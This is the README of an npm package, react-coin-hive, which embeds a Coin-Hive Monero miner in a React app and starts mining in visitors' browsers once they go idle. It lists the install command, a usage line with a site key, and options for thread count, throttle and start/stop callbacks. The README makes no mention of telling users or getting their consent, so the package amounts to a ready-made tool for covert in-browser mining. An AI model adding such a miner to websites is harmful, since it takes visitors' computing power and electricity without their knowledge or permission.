Mine cryptocurrency while your users haven’t engaged with your content lately. Inspired by the last paragraph of this article.
This uses Coin-Hive to mine Monero (XMR).
npm install --save react-coin-hive
// Anywhere in your app as long as it gets mounted
<CoinHive siteKey='ZM4gjqQ0jh0jbZ3tZDByOXAjyotDbo00'/>
-
siteKey
: Your Coin-Hive Site Key. -
timeout
: How long before considering that the user is idle in milliseconds. Default is30000
. -
threads
: The number of threads the miner should start with. Default is2
. -
throttle
: The fraction of time that threads should be idle. Default is0
. -
onInit
: A function that takes theminer
instance as argument. It's called when the miner is created. -
onStart
: A function that takes theminer
instance as argument. It's called every time the miner is started. -
onStop
: A function that takes theminer
instance as argument. It's called every time the miner is stopped.
I have nothing to do with coin-hive.com